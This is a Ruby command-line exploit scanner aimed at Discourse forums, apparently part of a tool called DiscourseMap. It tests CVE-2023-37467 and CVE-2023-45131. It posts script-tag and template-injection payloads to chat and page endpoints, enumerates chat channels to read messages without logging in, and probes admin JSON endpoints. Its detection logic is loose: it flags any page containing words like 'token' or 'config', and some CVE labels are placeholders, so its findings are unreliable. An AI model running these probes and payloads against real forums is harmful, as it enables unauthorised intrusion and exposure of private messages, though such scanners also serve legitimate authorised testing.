#!/usr/bin/env ruby
# CVE 2023 Discourse Exploits
# Author: DiscourseMap Security Scanner
# Description: Ruby exploits for 2023 Discourse vulnerabilities

require 'net/http'
require 'uri'
require 'json'
require 'optparse'
require 'cgi'

class CVE2023Exploits
  def initialize(target_url, options = {})
    @target_url = target_url.chomp('/')
    @timeout = options[:timeout] || 10
    @proxy = options[:proxy]
    @verbose = options[:verbose] || false
    @output_file = options[:output]
    @results = []
  end

  def run_all_tests
    puts "[*] Starting CVE 2023 exploit tests against #{@target_url}" if @verbose
    
    test_cve_2023_37467
    test_cve_2023_45131
    test_cve_2023_info_disclosure
    test_cve_2023_chat_vulnerabilities
    
    save_results if @output_file
    @results
  end

  private

  def test_cve_2023_37467
    puts "[*] Testing CVE-2023-37467 (CSP Nonce Reuse XSS)..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2023-37467',
      description: 'CSP nonce reuse allows XSS bypass in Discourse',
      severity: 'medium',
      affected_versions: 'Prior to 3.1.0.beta4',
      exploit_type: 'XSS/CSP Bypass'
    }

    # Test endpoints that might have GTM integration
    gtm_endpoints = [
      '/',
      '/latest',
      '/categories',
      '/top',
      '/new'
    ]

    gtm_endpoints.each do |endpoint|
      url = "#{@target_url}#{endpoint}"
      
      begin
        response = make_request(url)
        if response && response.code == '200'
          # Check for GTM presence
          if check_gtm_presence(response.body)
            puts "[*] GTM detected at #{endpoint}" if @verbose
            
            # Extract CSP nonces
            nonces = extract_csp_nonces(response.body)
            if nonces.any?
              puts "[*] Found CSP nonces: #{nonces.join(', ')}" if @verbose
              
              # Test nonce reuse vulnerability
              if test_nonce_reuse(url, nonces.first)
                add_result(cve_info.merge({
                  status: 'VULNERABLE',
                  description: "CSP nonce reuse vulnerability at #{endpoint}",
                  url: url,
                  details: { nonces: nonces, gtm_present: true }
                }))
                puts "[!] CVE-2023-37467 vulnerability found: #{url}" if @verbose
              end
            end
          else
            add_result(cve_info.merge({
              status: 'NOT_VULNERABLE',
              description: "GTM not present at #{endpoint}",
              url: url
            }))
          end
        end
      rescue => e
        puts "[!] Error testing #{url}: #{e.message}" if @verbose
      end
      
      sleep(0.1)
    end
  end

  def test_cve_2023_45131
    puts "[*] Testing CVE-2023-45131 (Unauthenticated Chat Access)..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2023-45131',
      description: 'Information disclosure vulnerability allowing unauthenticated access to new chat messages',
      severity: 'medium',
      affected_versions: 'Prior to 3.1.1 stable, 3.2.0.beta2',
      exploit_type: 'Information Disclosure'
    }

    # Test chat plugin endpoints
    chat_endpoints = [
      '/chat',
      '/chat/api/channels',
      '/chat/channels.json',
      '/chat/api/me/channels',
      '/plugins/chat'
    ]

    chat_detected = false

    chat_endpoints.each do |endpoint|
      url = "#{@target_url}#{endpoint}"
      
      begin
        response = make_request(url)
        if response && response.code == '200'
          # Check for chat plugin indicators
          if response.body.downcase.include?('chat') &&
             (response.body.include?('discourse-chat') ||
              response.body.include?('chat-channel') ||
              response.body.include?('chat-message'))
            
            chat_detected = true
            puts "[*] Chat plugin detected at #{endpoint}" if @verbose
            
            # Test for unauthenticated message access
            begin
              data = JSON.parse(response.body)
              if data.is_a?(Hash) && data['channels']
                data['channels'].each do |channel|
                  channel_id = channel['id']
                  if channel_id
                    test_chat_channel_access(channel_id, channel['title'] || 'Unknown', cve_info)
                  end
                end
              end
            rescue JSON::ParserError
              # Not JSON, check HTML for channel IDs
              channel_ids = response.body.scan(/data-chat-channel-id=["']?(\d+)["']?/).flatten
              channel_ids.each do |channel_id|
                test_chat_channel_access(channel_id, "Channel #{channel_id}", cve_info)
              end
            end
          end
        end
      rescue => e
        puts "[!] Error testing #{url}: #{e.message}" if @verbose
      end
      
      sleep(0.1)
    end

    unless chat_detected
      add_result(cve_info.merge({
        status: 'NOT_APPLICABLE',
        description: 'Chat plugin not detected or not enabled',
        url: @target_url
      }))
    end
  end

  def test_cve_2023_info_disclosure
    puts "[*] Testing CVE-2023 Information Disclosure vulnerabilities..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2023-DISCOURSE-INFO',
      description: 'Information disclosure vulnerabilities in Discourse 3.x',
      severity: 'medium',
      affected_versions: 'Prior to 3.1.2',
      exploit_type: 'Information Disclosure'
    }

    # Test endpoints that might leak information
    info_endpoints = [
      '/admin/logs',
      '/admin/reports',
      '/admin/dashboard.json',
      '/admin/users.json',
      '/site.json',
      '/about.json',
      '/srv/status'
    ]

    info_endpoints.each do |endpoint|
      url = "#{@target_url}#{endpoint}"
      
      begin
        response = make_request(url)
        if response && response.code == '200'
          # Check for sensitive information
          if detect_sensitive_info(response.body)
            add_result(cve_info.merge({
              status: 'VULNERABLE',
              description: "Information disclosure at #{endpoint}",
              url: url,
              details: { endpoint: endpoint, info_type: 'sensitive_data' }
            }))
            puts "[!] CVE-2023 Info Disclosure found: #{url}" if @verbose
          end
        end
      rescue => e
        puts "[!] Error testing #{url}: #{e.message}" if @verbose
      end
      
      sleep(0.1)
    end
  end

  def test_cve_2023_chat_vulnerabilities
    puts "[*] Testing CVE-2023 Chat-specific vulnerabilities..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2023-CHAT-VULN',
      description: 'Chat plugin vulnerabilities in Discourse 3.x',
      severity: 'medium',
      affected_versions: 'Chat plugin prior to 3.1.3',
      exploit_type: 'Chat Vulnerability'
    }

    # Test chat-specific attack vectors
    chat_attack_endpoints = [
      '/chat/api/channels',
      '/chat/api/messages',
      '/chat/drafts',
      '/chat/mentions'
    ]

    chat_payloads = [
      '<script>alert("chat-xss")</script>',
      '{{constructor.constructor("alert(1)")()}}',
      '${alert("template-injection")}',
      '@everyone <script>alert(1)</script>'
    ]

    chat_attack_endpoints.each do |endpoint|
      chat_payloads.each do |payload|
        test_data = {
          'message' => payload,
          'content' => payload,
          'text' => payload
        }
        
        begin
          response = make_post_request("#{@target_url}#{endpoint}", test_data)
          if response && detect_chat_vulnerability(response.body, payload)
            add_result(cve_info.merge({
              status: 'VULNERABLE',
              description: "Chat vulnerability at #{endpoint}",
              url: "#{@target_url}#{endpoint}",
              details: { payload: payload, endpoint: endpoint }
            }))
            puts "[!] CVE-2023 Chat vulnerability found: #{@target_url}#{endpoint}" if @verbose
          end
        rescue => e
          puts "[!] Error testing chat vulnerability at #{endpoint}: #{e.message}" if @verbose
        end
        
        sleep(0.1)
      end
    end
  end

  def test_chat_channel_access(channel_id, channel_name, cve_info)
    message_endpoints = [
      "/chat/api/channels/#{channel_id}/messages",
      "/chat/api/channels/#{channel_id}/messages.json",
      "/chat/channels/#{channel_id}/messages",
      "/chat/#{channel_id}/messages"
    ]

    message_endpoints.each do |endpoint|
      url = "#{@target_url}#{endpoint}"
      
      begin
        response = make_request(url)
        if response && response.code == '200'
          begin
            data = JSON.parse(response.body)
            if data.is_a?(Hash) && (data['messages'] || data['chat_messages'])
              messages = data['messages'] || data['chat_messages']
              if messages.any?
                add_result(cve_info.merge({
                  status: 'VULNERABLE',
                  description: "Unauthenticated access to #{messages.length} messages in channel #{channel_name}",
                  url: url,
                  details: { channel_id: channel_id, channel_name: channel_name, message_count: messages.length }
                }))
                puts "[!] CVE-2023-45131 vulnerability found: #{url}" if @verbose
                return
              end
            end
          rescue JSON::ParserError
            # Check HTML for message indicators
            if response.body.include?('chat-message') || response.body.include?('message-content')
              add_result(cve_info.merge({
                status: 'POTENTIAL',
                description: "Potential unauthenticated access to messages in channel #{channel_name}",
                url: url,
                details: { channel_id: channel_id, channel_name: channel_name }
              }))
            end
          end
        end
      rescue => e
        puts "[!] Error testing channel #{channel_id}: #{e.message}" if @verbose
      end
    end
  end

  def check_gtm_presence(html_content)
    gtm_indicators = [
      'googletagmanager.com',
      'gtag(',
      'GTM-',
      'google_tag_manager'
    ]
    gtm_indicators.any? { |indicator| html_content.include?(indicator) }
  end

  def extract_csp_nonces(html_content)
    nonce_pattern = /nonce=["']([^"']+)["']/
    html_content.scan(nonce_pattern).flatten
  end

  def test_nonce_reuse(url, nonce)
    # Test if the same nonce can be reused for XSS
    xss_payload = "<script nonce='#{nonce}'>alert('CVE-2023-37467')</script>"
    
    begin
      response = make_post_request(url, { 'content' => xss_payload })
      return response && response.body.include?(xss_payload)
    rescue
      false
    end
  end

  def detect_sensitive_info(response_text)
    sensitive_patterns = [
      /password/i,
      /secret/i,
      /api[_-]?key/i,
      /token/i,
      /database/i,
      /config/i,
      /admin.*email/i,
      /smtp.*password/i
    ]
    
    sensitive_patterns.any? { |pattern| response_text.match(pattern) }
  end

  def detect_chat_vulnerability(response_text, payload)
    # Check if payload is reflected without proper escaping
    unescaped_payload = payload.gsub(/[<>"']/) { |char| char }
    response_text.include?(unescaped_payload)
  end

  def make_request(url, headers = {})
    uri = URI(url)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.read_timeout = @timeout
    http.open_timeout = @timeout
    
    request = Net::HTTP::Get.new(uri)
    headers.each { |key, value| request[key] = value }
    
    http.request(request)
  rescue => e
    puts "[!] Request error: #{e.message}" if @verbose
    nil
  end

  def make_post_request(url, data, headers = {})
    uri = URI(url)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.read_timeout = @timeout
    http.open_timeout = @timeout
    
    request = Net::HTTP::Post.new(uri)
    request.set_form_data(data)
    headers.each { |key, value| request[key] = value }
    
    http.request(request)
  rescue => e
    puts "[!] POST request error: #{e.message}" if @verbose
    nil
  end

  def add_result(result)
    @results << result
  end

  def save_results
    File.write(@output_file, JSON.pretty_generate(@results))
    puts "[*] Results saved to #{@output_file}" if @verbose
  end
end

# Command line interface
if __FILE__ == $0
  options = {}
  
  OptionParser.new do |opts|
    opts.banner = "Usage: #{$0} [options]"
    
    opts.on('--target URL', 'Target Discourse URL') do |url|
      options[:target] = url
    end
    
    opts.on('--output FILE', 'Output file for results') do |file|
      options[:output] = file
    end
    
    opts.on('--timeout SECONDS', Integer, 'Request timeout (default: 10)') do |timeout|
      options[:timeout] = timeout
    end
    
    opts.on('--proxy PROXY', 'HTTP proxy (host:port)') do |proxy|
      options[:proxy] = proxy
    end
    
    opts.on('-v', '--verbose', 'Verbose output') do
      options[:verbose] = true
    end
    
    opts.on('-h', '--help', 'Show this help') do
      puts opts
      exit
    end
  end.parse!
  
  unless options[:target]
    puts "Error: --target is required"
    exit 1
  end
  
  exploits = CVE2023Exploits.new(options[:target], options)
  results = exploits.run_all_tests
  
  puts "\n[*] CVE 2023 exploit testing completed."
  puts "[*] Found #{results.count { |r| r[:status] == 'VULNERABLE' }} vulnerabilities."
end